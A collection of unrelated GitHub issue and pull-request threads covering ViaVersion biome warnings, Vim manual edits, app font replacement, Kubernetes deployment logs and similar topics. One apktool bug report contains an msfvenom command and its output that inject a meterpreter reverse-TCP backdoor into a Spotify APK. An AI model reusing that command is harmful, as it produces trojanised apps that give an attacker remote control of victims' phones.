[ViaVersion]: Received invalid biome id 58

Waterfall build 215
ViaVersion build 222
Paper build 1534 (Spigot 1.12.2)
ViaVersion is on BungeCord end only.
ViaVersion is spamming BungeeCord console with this warning.
[02:25:00] [Netty Worker IO Thread #10/WARN] [ViaVersion]: Received invalid biome id 58

Edit: Also received a warning for this biome ID.
10.08 02:41:26 [Server] WARN [ViaVersion]: Received invalid biome id 73

Do you use a custom world generator or world editing tools?

I generated my world back during 1.11's release with BiomeBundles & OpenTerrainGenerator. However I do also use WorldEdit & VoxelSniper world editing tools.

The issue is down to your biomes being not valid, I don't know which plugin has caused this but I would probably say that it'll hurt you if you ever want to update to 1.13.
Otherwise we'll probably provide a option to suppress conversion errors.

It should be using vanilla biome IDs though for all biomes. I just used the plugin to generate the world initially, then removed it once I had the custom biomes.

As given in the error, 73 is not a vanilla id
https://minecraft.gamepedia.com/Biome/ID

Very odd. Would it be possible to default to ID 0 for biome ID if it is outside the vanilla range instead of outputting the warning WARN [ViaVersion]: Received invalid biome id 73?

It does default to this, it just warns you because it's invalid.
As per above "Otherwise we'll probably provide a option to suppress conversion errors."

I found a solution I think for those without BungeeCord.  You can use this plugin, and it disables the spam quite well. https://www.spigotmc.org/resources/console-spam-fix.18410/

If you wish to hide this:
https://ci.viaversion.com/job/ViaVersion/ - Use the option suppress-1_13-conversion-errors in the config.yml

Could it be merged into the DEV branch too?


ISPN-16612 Elytron 2.6.0

https://issues.redhat.com/browse/ISPN-16612

Failures on GH actions are irrelevant.
Jenkins is failing because of the flaky test reporter

@tristantarrant Please rebase on main. The flaky test reporter failed, but the tests also timed out.

Rebased

Thanks @tristantarrant


Replace Whitney font with Lato throughout app

We're making a change to replace Whitney fonts with Lato throughout iNaturalist. The full list of fonts we need to replace are:

[ ] Book Italic
[ ] Book Pro
[ ] Book
[ ] Book Italic Pro
[ ] Light Italic
[ ] Light Pro
[ ] Light
[ ] Light Italic Pro
[ ] Medium Italic
[ ] Medium Pro
[ ] Medium
[ ] Medium Italic
[ ] Semibold Italic
[ ] Semibold Pro
[ ] Semibold
[ ] Semibold Italic Pro

To complete this issue, we should:

[ ] Remove Whitney fonts
[ ] Add Leto fonts
[ ] Run npx react-native-asset to link new fonts
[ ] Make sure ios/Info.plist includes Leto fonts, not Whitney fonts (no need to include the -Pro files in Info.plist since those are for Android-only
[ ] Update styledComponents.js with Leto fonts
[ ] Update tailwind.config.js with Leto fonts
[ ] Audit the app and replace Whitney wherever we added a custom fontFamily (this should be SearchBar, UserText, Button, TextInputSheet, Wikipedia, CustomDrawerContent, and navigationOptions). It's probably ideal to pull these custom font families out into a file of constants so we can have a single source of truth instead of updating this across multiple files. (For example, a file that contains a variable:

const DEFAULT_FONT_FAMILY = `Leto-Light${Platform.OS === "ios"
      ? ""
      : "-Pro"}

@abhasinat can you confirm these are the correct replacements?

Whitney Light -> Lato Light
Whitney Book -> Lato Regular
Whitney Medium -> Lato Bold
Whitney Semibold -> Lato Black

Here are the correct replacements:

Whitney Light -> Lato Light
Whitney Book -> Lato Regular
Whitney Medium -> Lato Medium
Whitney Semibold -> Lato Bold


Since 3.1.6 PerfView never quits

Had this since 3.1.6 (3.1.5 is OK):
I start perfview. I quit (Pressing "X" top right).
It closes, but the process doesn't quit. It stays open in the task manager.
It's just staying forever at:
UnsafeNativeMethods.GetMessageW()
Dispatcher.GetMessage()
Dispatcher.PushFrameImpl()
Application.RunDispatcher()
Application.RunInternal()
App.DoMainForGui()
App.DoMain()
App.Main()

Possibly related: 0a090aff1e36c81cf1bc2297c0fe53e187d0db67?

Confirmed. I can replicate it.
The 0a090af seems like a good suspect. On the other hand it fixed stability when running tests, so I don't want to just revert it. Let me see what we can do about it.

Yeah, this is my fault - I missed that this call to Exit was in product code and not test code.  I'm wondering if we can detect that we're running under test.

@brianrob No problem. I missed it as well. #1960 is an as clean as I can think of attempt to solve it.


footer fonts and hover

contact us and contribute here  should have same fonts size  as  developers  is having and when we hover to contact us and contribute here they both should expand a little like "developers" do.

NO need


Post release automated changes for eventgrid releases

Post release automated changes for azure-eventgrid

API change check
APIView has identified API level changes in this PR and created following API reviews.
azure-eventgrid


[SPARK-43839][SQL] Convert _LEGACY_ERROR_TEMP_1337 to UNSUPPORTED_FEATURE.TIME_TRAVEL

What changes were proposed in this pull request?
The pr aims to convert _LEGACY_ERROR_TEMP_1337 to UNSUPPORTED_FEATURE.TIME_TRAVEL and remove _LEGACY_ERROR_TEMP_1335
Why are the changes needed?

The changes improve the error framework.
In the spark base code _ LEGACY_ ERROR_ TEMP_ 1335 is no longer used anywhere.

Does this PR introduce any user-facing change?
No.
How was this patch tested?

Add new UT
Pass GA

+1, LGTM. Merging to master.
Thank you, @panbingkun.


Refactor Wagtailtrans to be used with the swappable page models

Currently there is a ticket for Wagtail to support the swapping of the main models. If this eventually will land in Wagtail we can refactor Wagtailtrans to make use of this in order to reduce our database queries.

As this isn't anything happening soon, we can close the ticket imo.


tagbar buffer index doesn't show correctly

index 1, 2, 3 shows well, but after 4, the numbers are strangely bigger than normal

Is there any way to fix this issue? My .vimrc configurations on airline is:
  set hidden
  let g:airline#extensions#tabline#enabled = 1
  let g:airline#extensions#tabline#show_tab_type = 0
  let g:airline#extensions#tabline#show_tabs = 0
  let g:airline#extensions#tabline#show_tab_nr = 0
  let g:airline_theme='solarized'
  let g:airline#extensions#bufferline#enabled = 1
  let g:airline#extensions#bufferline#overwrite_variables = 0
  let g:airline#extensions#whitespace#enabled = 0
  let g:airline#extensions#csv#enabled = 1
  let g:airline#extensions#csv#column_display = 'Name'

  if !exists('g:airline_symbols')
     let g:airline_symbols = {}
  endif

  " unicode symbols
  let g:airline_left_sep = ''
  let g:airline_left_sep = ''
  let g:airline_right_sep = ''
  let g:airline_right_sep = ''

  let g:airline#extensions#tabline#buffer_idx_mode=1
  if has ('nvim')
    tmap <leader>1  <C-\><C-n><Plug>AirlineSelectTab1
    tmap <leader>2  <C-\><C-n><Plug>AirlineSelectTab2
    tmap <leader>3  <C-\><C-n><Plug>AirlineSelectTab3
    tmap <leader>4  <C-\><C-n><Plug>AirlineSelectTab4
    tmap <leader>5  <C-\><C-n><Plug>AirlineSelectTab5
    tmap <leader>6  <C-\><C-n><Plug>AirlineSelectTab6
    tmap <leader>7  <C-\><C-n><Plug>AirlineSelectTab7
    tmap <leader>8  <C-\><C-n><Plug>AirlineSelectTab8
    tmap <leader>9  <C-\><C-n><Plug>AirlineSelectTab9
  endif
  nmap <leader>1 <Plug>AirlineSelectTab1
  nmap <leader>2 <Plug>AirlineSelectTab2
  nmap <leader>3 <Plug>AirlineSelectTab3
  nmap <leader>4 <Plug>AirlineSelectTab4
  nmap <leader>5 <Plug>AirlineSelectTab5
  nmap <leader>6 <Plug>AirlineSelectTab6
  nmap <leader>7 <Plug>AirlineSelectTab7
  nmap <leader>8 <Plug>AirlineSelectTab8
  nmap <leader>9 <Plug>AirlineSelectTab9

looks like a font problem?

Right, it is a font problem. Seems i have to change my terminal font.

is it possible to make these index as tab numbers?

I don't understand the request. Please explain.

I can have tab bar numbers for each buffer tabs if this option is turned on: g:airline#extensions#tabline#buffer_nr_show
But this shows the actual buffer number not the airline buffer index. Some times, I have many hidden buffers, and the actual buffer numbers on the tab bar are not continuous. Is there any way to set airline buffer index as tab number? So that I don't have to worry about the font problems showing on current buffer index.

That would make your mappings work unexpectedly I think.

When using buffer index, the mappings work fine. If I use tabline buffer number show instead, these mappings won't work. That's why I want to use buffer index

On Di, 09 Feb 2016, ranranking wrote:

If I use tabline buffer number show instead, these mappings won't work. That's why I want to use buffer index

Actually, that should work and it used to work when I tested it.

Let me try again. Thanks so much for the help


ui: Move the Google Map to improve UX

We can either replace the hero image (banner) with the Google Map or place it just above the form.
@tronicdata Which one do you think is best?

Maybe something like this?


Update kubernetes-incubator/service-catalog to v0.1.31 in glide.yaml

fixes #670

go build -o odo ./main.go
# github.com/redhat-developer/odo/vendor/github.com/kubernetes-incubator/service-catalog/pkg/client/clientset_generated/clientset/fake
vendor/github.com/kubernetes-incubator/service-catalog/pkg/client/clientset_generated/clientset/fake/clientset_generated.go:52:18: o.Watch undefined (type testing.ObjectTracker has no field or method Watch)

This is going to be bit tricky to manage different versions in glide. Either we need to find some way in glide or move to some other tool like dep or something better

closing due to #716


User manual editing pass, chapters 1 through 4

I got bored on a semi-recent flight and having forgotten to bring a book fell upon what I had to hand on my laptop, which was the vim user guide. I learnt some new tricks and also started noticing improvements I'd make to the text, and noting them down.
Today I did a pass through chapters 1 to 4 actually making the changes.
Since obviously many of these are subjective (though certainly some are I think objectively improvements), I've kept the changes split out to very small separate commits. I've given justification in some cases in the commit message bodies.
The hope is that if some kinds of changes are appreciated/wanted but others are not, I can get an idea of that, pull out the unwanted changes, and then produce less noise if/when I go through the rest of the manual. I'd be happy to do this, but of course won't spend the time if it wouldn't be welcome.
Clearly it'd be a good idea to squash commits together if/when a changeset will be accepted.
There's a mixture here of

grammar tweaks
consistency fixes like casing and quoting
rewording for clarity
rewording to avoid awkward words/phrases or to be more inclusive
fixing incorrectly-used phrases (for example "e.g." to "i.e." in one case)

and some other miscellaneous bits.

Codecov Report

Merging #5098 into master will decrease coverage by 0.1%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master    #5098      +/-   ##
==========================================
- Coverage   82.06%   81.95%   -0.11%
==========================================
  Files         134      134
  Lines      146841   147064     +223
==========================================
+ Hits       120504   120532      +28
- Misses      26337    26532     +195

Impacted Files
Coverage Δ

src/libvterm/src/mouse.c
0% <0%> (-96.43%)
:arrow_down:

src/libvterm/src/screen.c
56.96% <0%> (-31.56%)
:arrow_down:

src/window.c
88.26% <0%> (+0.03%)
:arrow_up:

src/terminal.c
81.72% <0%> (+0.03%)
:arrow_up:

src/if_xcmdsrv.c
86.35% <0%> (+0.17%)
:arrow_up:

src/mouse.c
75.06% <0%> (+0.7%)
:arrow_up:

src/screen.c
84.57% <0%> (+1.88%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 34ba06b...e6ea85e. Read the comment docs.

Bart Nagel wrote:

I got bored on a semi-recent flight and having forgotten to bring a
book fell upon what I had to hand on my laptop, which was the vim user
guide. I learnt some new tricks and also started noticing improvements
I'd make to the text, and noting them down.
Today I did a pass through chapters 1 to 4 actually making the changes.
Since obviously many of these are subjective (though certainly some
are I think objectively improvements), I've kept the changes split
out to very small separate commits. I've given justification in
some cases in the commit message bodies.
The hope is that if some kinds of changes are appreciated/wanted but
others are not, I can get an idea of that, and so produce less noise
if/when I go through the rest of the manual. I'd be happy to do
this, but of course won't spend the time if it wouldn't be
welcome.
Clearly it'd be a good idea to squash commits together if/when a
changeset will be accepted.
There's a mixture here of

grammar tweaks
consistency fixes like casing and quoting
rewording for clarity
rewording to avoid awkward words/phrases or to be more inclusive
fixing incorrectly-used phrases (for example "e.g." to "i.e." in one case)
and some other miscellaneous bits.

Thanks for taking the time to look into this. Most of this text comes
from the book "Vi IMproved - Vim" and was already copy-edited.
Several things are a matter of taste.
For example, "Replace comma with semicolon before 'see x'",
I would prefer the comma.
I would appreciate someone else, preferably a native English speaker, to
look through these changes.
--
Team-building exercises come in many forms but they all trace their roots back
to the prison system.  In your typical team-building exercise the employees
are subjected to a variety of unpleasant situations until they become either a
cohesive team or a ring of car jackers.
(Scott Adams - The Dilbert principle)
/// Bram Moolenaar --<EMAIL_ADDRESS>-- http://www.Moolenaar.net   \
///        sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ \
\\  an exciting new programming language -- http://www.Zimbu.org        ///
\\            help me help AIDS victims -- http://ICCF-Holland.org    ///

I can absolutely tear out particular changes you don't agree with -- this is precisely why I made separate commits for things.
The fuller rationale for that particular change ("You can configure the Vim editor to produce backup files, see |07.4|" -> "You can configure the Vim editor to produce backup files; see |07.4|"): with a comma it could look like "see" is the start of a second list item -- another thing you can configure the Vim editor to do. And in some cases there may even be a comma-separated list, followed by "see X", and a semicolon would be more important in that situation for ease of reading and comprehension. Example with both issues:

You can configure the Vim editor to produce backup files, see the future and write your code for you, see |07.4|.

The semicolon makes a longer gap as it's being read, and shows that there's a slight change of focus. A dash would do the same. But a comma doesn't do this. I stand by this change but you're the boss. :)
BTW, I am a native English speaker. I think you meant just that you are not, rather than saying that I'm not; I'm pointing it out just to be clear.
Did you have another reviewer in mind? I'd like to continue editing if I get the go-ahead from such a person, or from you.

and was already copy-edited.

Not every editor catches everything, and cultures and feelings and priorities change too. One or two of my changes are for improved inclusivity, for example.

Hi @tremby, @brammool,
Here is review feedback on some of this change.  My native language is english.

For instances of replacing comma with semi-colon, I checked with an college-level english teacher.  The semi-colon is correct.  Alternatively, sometimes the second idea can be a separate sentence.
For example:
'The bars themselves may be hidden or invisible; see below.'
could also be
'The bars themselves may be hidden or invisible. See below.'
So these would be good changes to make.

For instances of removing capitalization of the first word following a colon, it looks like there is a range of accepted styles in the different style manuals, and cultural differences between British and American usage.
For Vim documentation, probably Bram's preference will be most consistent.
So it makes sense to not make these changes.

For instances of adding double quotes around command letters, that looks consistent with other places in the manual.
So these should be added.

DC

@dcslagel: thank you for this review. Just curious about which style manuals recommend capitals after colons? It's not something I've often seen before. (I grew up in the UK and now live in Canada.)

Hi , @tremby, I got that information from Wikipedia.  Here is the link:
https://en.wikipedia.org/w/index.php?title=Colon_(punctuation)
Go to the section 'Use of capitals'.  The exact quote listing the style guides is: "American English goes further and permits writers to similarly capitalize the first word of any independent clause following a colon. This follows the guidelines of some modern American style guides, including those published by the Associated Press and the Modern Language Association.".
I have to admit I didn't go and look up the style guides to verify.
DC

@tremby, Here is the Modern Language Association's Style guide on colons.
It supports your lowercase changes..
https://style.mla.org/colons-how-to-use-them/
"Lowercase or Capital Letter after a Colon?
Use a lowercase letter when the word that follows the colon is normally lowercased:
Bonnie had to admit what was already obvious to her roommates: she was allergic to the cat.
Use a capital letter when the colon introduces
a rule or principle
several related sentences
a capitalized word such as a proper noun"
DC

@tremby, @brammool,
Here are some findings on the other style guides.   Does vim documentation follow a particular style guide?
The Associated Press style guide and the Chicago Style guide are behind paywalls.  So I am unable to find definite information on them.  However this site has a comparative discussion:
https://apvschicago.com/2011/04/capitalization-after-colons.html
"AP (p. 366): Lowercase the first word unless it is a proper noun or the start of a complete sentence.
These are some of my favorite things to have for dinner: ravioli, Ethiopian food and breakfast.
She told me her secret ingredient: It was butter.

Chicago (6.61): Lowercase the first word unless it is a proper noun or the start of at least two complete sentences or a direct question.
I finished reading my friend’s first draft: it was painful.
We can do several things this weekend: We can watch King’s Speech. We can do our taxes. Or we can have a tequila party."

DC

I'll include some of this.  As remarks indicate: using semicolon seems like a good idea, but we'll keep the capital after a colon.  I'll probably miss a few pieces, please check after the next runtime file update.


WIP: Replace MultiShardScoreDocCollector with a OrderedLuceneBatchIterator

Codecov Report

Merging #4982 into batch-iterator will increase coverage by 0.05%.
The diff coverage is 83.75%.

@@                 Coverage Diff                  @@
##             batch-iterator    #4982      +/-   ##
====================================================
+ Coverage             81.98%   82.04%   +0.05%
- Complexity            10815    10818       +3
====================================================
  Files                  1314     1314
  Lines                 45005    44979      -26
  Branches               5686     5681       -5
====================================================
+ Hits                  36899    36902       +3
+ Misses                 5441     5421      -20
+ Partials               2665     2656       -9

Impacted Files
Coverage Δ
Complexity Δ

.../collect/collectors/LuceneOrderedDocCollector.java
92.4% <ø> (ø)
25 <ø> (ø)
:x:

...ration/collect/collectors/ScoreDocRowFunction.java
87.5% <ø> (ø)
7 <ø> (ø)
:x:

.../io/crate/operation/merge/BatchPagingIterator.java
80.39% <ø> (ø)
16 <ø> (ø)
:x:

.../operation/collect/sources/ShardCollectSource.java
88.06% <100%> (-1.02%)
29 <ø> (-1)

...ration/collect/collectors/OrderedDocCollector.java
75% <100%> (ø)
5 <1> (ø)
:x:

...main/java/io/crate/jobs/PageDownstreamContext.java
86.76% <100%> (+0.73%)
42 <ø> (+1)
:white_check_mark:

...collect/collectors/OrderedLuceneBatchIterator.java
80.26% <81.42%> (ø)
23 <22> (?)

...a/io/crate/exceptions/ContextMissingException.java
81.81% <ø> (-18.19%)
1% <ø> (-1%)

...va/io/crate/operation/projectors/DMLProjector.java
77.77% <ø> (-14.82%)
5% <ø> (-1%)

...crate/operation/projectors/IterableRowEmitter.java
58.06% <ø> (-9.68%)
5% <ø> (-1%)

... and 36 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e897e77...c5bae6b. Read the comment docs.

The last two fix up commits introduced some flakyness so this isn't ready yet


Rename Data Access to Open Data?

By analyzing the content of Data Access section, I saw the content of it have a better categorized into Open Data.
Wikipedia said Data Access

Data access typically refers to software and activities related to storing, retrieving, or acting on data housed in a database or other repository.

In my interpretation, it means people typically think of data access as an action of a data, instead of as somethings related into data itself. I also have this difficulty understanding it while making #442 .
In my opinion, it will be better if it renamed into "Open Data". What do you guys think? :)

I think that's fine, I've had that same thought myself a few times. Would be interested in others' thoughts as well.

Yep!


Cluster page (UI) shows negative memory usage

Environment info

NooBaa Version: 5.3.0-ab60a6e
Platform: Kubernetes 1.15.7

Actual behavior

Cluster page shows negative memory usage

Expected behavior

Memory usage cannot be negative

More information - Screenshots / Logs / Other output

in os_utils.js under the function os_info we get the totalmem from the container limit.
the free mem we get from os.freemem() (which is not correct for containers)
The way we should get the used memory in a pod is to run: $ kubectl top pod noobaa-core-0
$ kubectl top pod noobaa-core-0
NAME            CPU(cores)   MEMORY(bytes)
noobaa-core-0   41m          468Mi

Screen was removed


Add total, progress and unit to describe callback

As a user, I wish I could use Woodwork to get total, progress and unit of my describe callback.

- progress (int/float): the progress so far in the calculations
- total (int/float): the total number of calculations to do
- unit (str): what is the units of progress/total

@gsheni Do we want to make these new arguments required for the callback function? The reason I am asking is that we currently require that the callback accept a progress percent value and now if we pass progress and total, this becomes redundant information.
We could use inspect.getrargspec and make all of the callback arguments optional and only send back the values for which the callback function has arguments defined. That would give users a bit more flexibility in how they define the callback functions in case they don't want all of the information. The downside being our calling of the callback function will be a little slower as we would have to determine what information to send each time in some conditional statements.

@thehomebrewnerd let's remove progress_percent from the callback.


Clarification on Features Please

Hello,
I am new to Flatend but think that it has great potential for my needs although I am a bit confused on some features that are listed:
"Fully agnostic and compatible with any type of language, database, tool, library, or framework."
I am also interested to know how well it scales and if nodes can relay messages/packet to other nodes on their way to the destination.
Thanks in advance

Hello,
Are there any update on these questions?
Thanks


Post-effects support

Implement post-effects for OpenGL scene. A simple Gaussian blur can be used for testing.

Descoped – needs rethinking


Failed to deploy HA Walrus: failed to create local environment

Describe the bug

Steps to reproduce

Deploy a high availability walrus server.
View the Walrus logs.

Result

root@walrus-kind-control-plane:/manifest# k logs pod/walrus-cc57bb88f-5bfnf -n walrus-system
2024-01-02T05:13:47.564Z	D	setting	loaded DeployerImage initial value from SERVER_SETTING_DEPLOYER_IMAGE environment variable
2024-01-02T05:13:47.564Z	D	setting	loaded ServeUiIndex initial value from SERVER_SETTING_SERVE_UI_INDEX environment variable
2024-01-02T05:13:47.606Z	I	maxprocs	maxprocs: Updating GOMAXPROCS=4: determined from CPU quota
2024-01-02T05:13:47.618Z	I	initializing
2024-01-02T05:13:47.736Z	D	k8s.deployer	ensuring helm chart
2024-01-02T05:13:47.737Z	D	k8s.deployer	ensuring helm chart
2024-01-02T05:13:47.746Z	E	error initializing: failed to create local environment: open /root/.kube/config: no such file or directory
github.com/seal-io/walrus/utils/log.DelegatedLogger.Errorf
	github.com/seal-io/walrus/utils@v0.0.0-00010101000000-000000000000/log/delegate.go:168
github.com/seal-io/walrus/utils/log.Errorf
	github.com/seal-io/walrus/utils@v0.0.0-00010101000000-000000000000/log/logger.go:174
github.com/seal-io/walrus/pkg/server.(*Server).Run
	github.com/seal-io/walrus/pkg/server/runner.go:629
github.com/seal-io/walrus/pkg/server.(*Server).Action.func1
	github.com/seal-io/walrus/pkg/server/runner.go:499
github.com/urfave/cli/v2.(*Command).Run
	github.com/urfave/cli/v2@v2.25.7/command.go:274
github.com/urfave/cli/v2.(*App).RunContext
	github.com/urfave/cli/v2@v2.25.7/app.go:332
main.main
	github.com/seal-io/walrus/cmd/server/server.go:16
runtime.main
	runtime/proc.go:250
2024-01-02T05:13:47.746Z	F	error initializing: failed to create local environment: open /root/.kube/config: no such file or directory
github.com/seal-io/walrus/utils/log.DelegatedLogger.Fatal
	github.com/seal-io/walrus/utils@v0.0.0-00010101000000-000000000000/log/delegate.go:136
github.com/seal-io/walrus/utils/log.Fatal
	github.com/seal-io/walrus/utils@v0.0.0-00010101000000-000000000000/log/logger.go:154
main.main
	github.com/seal-io/walrus/cmd/server/server.go:17
runtime.main
	runtime/proc.go:250

Expected behavior

Environment

Walrus version: main babd25682a7afa8bc749384a3630b4905f0a602c

Additional context
Add any other context about the problem here.

Environment

Walrus version: main 9f815bb4dc0d746fba0871b8085fd85182b2d41b
UI version: dev-bd75b3b

Test Result: pass
root@ha-walrus-control-plane:/# kn get all
NAME                                                                               READY   STATUS                   RESTARTS   AGE
pod/database-749dd8cfc7-hrh8h                                                      1/1     Running                  0          80m
pod/identity-access-manager-574bb7794-l75xc                                        1/1     Running                  0          80m
pod/tf-job-apply-495329235737509900-cfs85                                          0/1     Completed                0          51m
pod/tf-job-apply-495334104804360204-tjlhr                                          0/1     Completed                0          3m30s
pod/tf-job-apply-495334281267118092-wvshf                                          0/1     Completed                0          105s
pod/tf-job-destroy-495330861198082060-6kkzn                                        0/1     Completed                0          35m
pod/tf-job-destroy-495333849371246604-hcfww                                        0/1     Completed                0          6m2s
pod/tf-job-destroy-495333849471909900-9qh5z                                        0/1     Completed                0          6m2s
pod/walrus-74b7cf5fb9-vjx6d                                                        1/1     Running                  0          80m
pod/walrus-mirror-hermitcrab-0                                                     2/2     Running                  0          79m
pod/walrus-workflow-controller-57f768b478-2dmn2                                    1/1     Running                  0          79m
pod/wk-1-495334042812547084-step-secret-495334042829324300-1530174980              0/1     Completed                0          3m47s
pod/wk-1-495334042812547084-step-secret-495334042829324300-4147233281              0/1     ContainerStatusUnknown   0          4m7s
pod/wk-1-495334042812547084-workflow-step-execution-495334042829324300-231463438   0/2     Completed                0          3m37s

NAME                                        TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)          AGE
service/database                            ClusterIP   <IP_ADDRESS>   <none>        5432/TCP         80m
service/identity-access-manager             ClusterIP   <IP_ADDRESS>    <none>        8000/TCP         80m
service/walrus                              ClusterIP   <IP_ADDRESS>    <none>        80/TCP           80m
service/walrus-mirror-hermitcrab            ClusterIP   <IP_ADDRESS>    <none>        80/TCP,443/TCP   79m
service/walrus-mirror-hermitcrab-headless   ClusterIP   None            <none>        <none>           79m

NAME                                         READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/database                     1/1     1            1           80m
deployment.apps/identity-access-manager      1/1     1            1           80m
deployment.apps/walrus                       1/1     1            1           80m
deployment.apps/walrus-workflow-controller   1/1     1            1           79m


Close when searching

The application close when I start a search

Can you give some more details?
Because it doesn't crash for most people. Is it a clean installation? Which version are you using? Etc.


Build target for tvOS missing UIButton extension

I am trying to use AlamofireImage for a tvOS project, but the build target for tvOS seems to be missing the UIButton+AlamofireImage.swift.
Was that intentional? If not, could that get fixed? Thanks!

Pull request for this has been submitted.

The PR also addresses an issue where completion() was getting called before the image is set on the UIButton.

Fixed in https://github.com/Alamofire/AlamofireImage/commit/3ea351807914fbf62b53b7d53094a48bfce4f18a. Please see #95 for more details.
Cheers. 🍻


[BUG]

Information

Apktool Version (apktool -version) - 2.6.1
Operating System (Mac, Linux, Windows) - linux
APK From? (Playstore, ROM, Other) - other

Stacktrace/Logcat
sfvenom -x spotify.apk -p android/meterpreter/reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 -o /root/Desktop/payload.apk
Using APK template: spotify.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.spotify.music.cxobk
[] Loading /tmp/d20220708-33438-6ewwrq/original/smali_classes3/com/spotify/music/SpotifyApplication.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Rebuilding apk with meterpreter injection as /tmp/d20220708-33438-6ewwrq/output.apk
[-] I: Using Apktool 2.6.1
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
Exception in thread "main" org.jf.util.ExceptionWithContext: Exception occurred while writing code_item for method Landroidx/fragment/app/strictmode/a;->values()[Landroidx/fragment/app/strictmode/a;
at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:1047)
at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:346)
at org.jf.dexlib2.writer.DexWriter.writeTo(DexWriter.java:301)
at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:58)
at brut.androlib.src.SmaliBuilder.build(SmaliBuilder.java:37)
at brut.androlib.Androlib.buildSourcesSmali(Androlib.java:430)
at brut.androlib.Androlib.buildSources(Androlib.java:361)
at brut.androlib.Androlib.build(Androlib.java:313)
at brut.androlib.Androlib.build(Androlib.java:280)
at brut.apktool.Main.cmdBuild(Main.java:255)
at brut.apktool.Main.main(Main.java:82)
Caused by: org.jf.util.ExceptionWithContext: Error while writing instruction at code offset 0x4
at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1320)
at org.jf.dexlib2.writer.DexWriter.writeDebugAndCodeItems(DexWriter.java:1043)
... 10 more
Caused by: org.jf.util.ExceptionWithContext: Unsigned short value out of range: 65537
at org.jf.dexlib2.writer.DexDataWriter.writeUshort(DexDataWriter.java:116)
at org.jf.dexlib2.writer.InstructionWriter.write(InstructionWriter.java:356)
at org.jf.dexlib2.writer.DexWriter.writeCodeItem(DexWriter.java:1280)
... 11 more
Error: apktool execution failed
Include stacktrace here

Steps to Reproduce

apktool

Frameworks
If this APK is from an OEM ROM (Samsung, HTC, LG). Please attach framework files
(.apks that live in /system/framework or /system/priv-app)
APK
If this APK can be freely shared, please upload/attach a link to it.
Questions to ask before submission

Have you tried apktool d, apktool b without changing anything?
If you are trying to install a modified apk, did you resign it?
Are you using the latest apktool version?

You exceeded the amount of methods allowed per dex. So my guess is that injection process did not take that into account.
There is no bug here.


"data not enough to trade"

I keep getting this error when trying to execute the realtime-agent 'stack' and running:
'http://<IP_ADDRESS>:8005/trade?data=' + followed by the data in the example
Any idea what I am doing wrong? I trained the model and saved it. But I can't understand why the data is not enough.

you need to populate the data queue for the specified window size, the trained model expects to have {window_size} amount of data_points to start trading since get_state needs window_size amount of data. append window_size amount of data and it will start trading


AKSAzureADClient should not be 'web', but only works with 'native' type

@TeunRoefs commented on Tue May 07 2019
The AKSAzureADClient should be created using the 'legacy' version of the App Registration, or try using the 'Public' variant in the new App Registration.
Using web will cause the authentication to fail.
https://github.com/Azure/AKS/issues/535

Documentdetails
⚠ Dit gedeelte niet bewerken. Het is vereist om problemen te koppelen tussen docs.microsoft.com en GitHub.

ID: c59648e0-4074-d3ac-8359-cd19745e8c32
Version Independent ID: f71d012c-2c00-bf17-017c-f144e7e3366e
Content: Azure Active Directory integreren met Azure Kubernetes Service
Content Source: articles/aks/azure-ad-integration.md
Service: container-service
GitHub Login: @iainfoulds
Microsoft Alias: iainfou

Hi team,
I'm moving this here since the user's comments refers to the original documentation
best

Thanks for the feedback! We are currently investigating and will update you shortly.

@teunroefs I cannot repro this issue. Can you share some screenshots of the errors you are seeing?

Hi @MicahMcKittrick-MSFT
The problem is that for the AKSAzureADClient, the documentation states that you have to use Web as the type for the App Registration, however, this causes the issues as shown in the initial link I sent with the comments. The authentication will fail.
After some digging I noticed that I could not use the Native solution for the App Registration because that only exists in the Legacy version of App Registration. However, if the Public option in the new version actually is Native then the problem should not occur.
I now created the App Registration using the Legacy version and got the Native type for the AKSAzureADClient part of the manual. This resolved the issues.
See extra screenshots below for more information.
Hope this helps.

@TeunRoefs thanks for the extra details.
@iainfoulds is this something you can look into further?

@TeunRoefs I will assign this to the content author to review and see if we need to update the doc or wait on any product to be fixed.

Sorry for the issues, @TeunRoefs
Looks like there's now an additional step to set the Azure AD client app as public. It does now work using the new app registration model, you shouldn't have to rely on the legacy app registration approach. A doc update should go live this morning to add the following step for the client app:

On the left-hand navigation of the Azure AD application, select Authentication.
* Under Default client type, select Yes to Treat the client as a public client.


Fullscreen

I've used and implemented your code exactly and so far it works. However, the gif is not filling the entire screen. And for your information, I made a gif that is the exact same size as the one in the demo (iPhone 5) size.

I even tried manually putting in the frame for the web view and the view won't even change/move!

There just seems to be a grey border around the gif when displayed on iPhone 6 or higher. The same happened when I used the train track gif

I think this is the limitation of this approaches to this effect. Since the size and ratio of the Gif are fixed, and we are simply showing the gif in the UIWebView, thus we don't have much control over the gif size. I'm thinking if preparing a HTML template where dynamically change the size parameter, and load this HTML instead of the GIF directly, it could be better?


Let's encrypt addon does not allow renewal (dns misconfigured on docker image?)

Possible dns issue with let's encrypt addon. acme-v01.api.letsencrypt.org is reachable from the host machine, but it seems it isn't from the docker container. Hass.io and other addons don't have this issue.
Host OS: Ubuntu Server 18.04LTS
Port 80 is always redirected to host port 80.
The cert was generated using this addon months ago.
Here is the log:
> starting version 3.2.4
> Saving debug log to /var/log/letsencrypt/letsencrypt.log
>
> -------------------------------------------------------------------------------
> Processing /data/letsencrypt/renewal/***mydomain***.conf
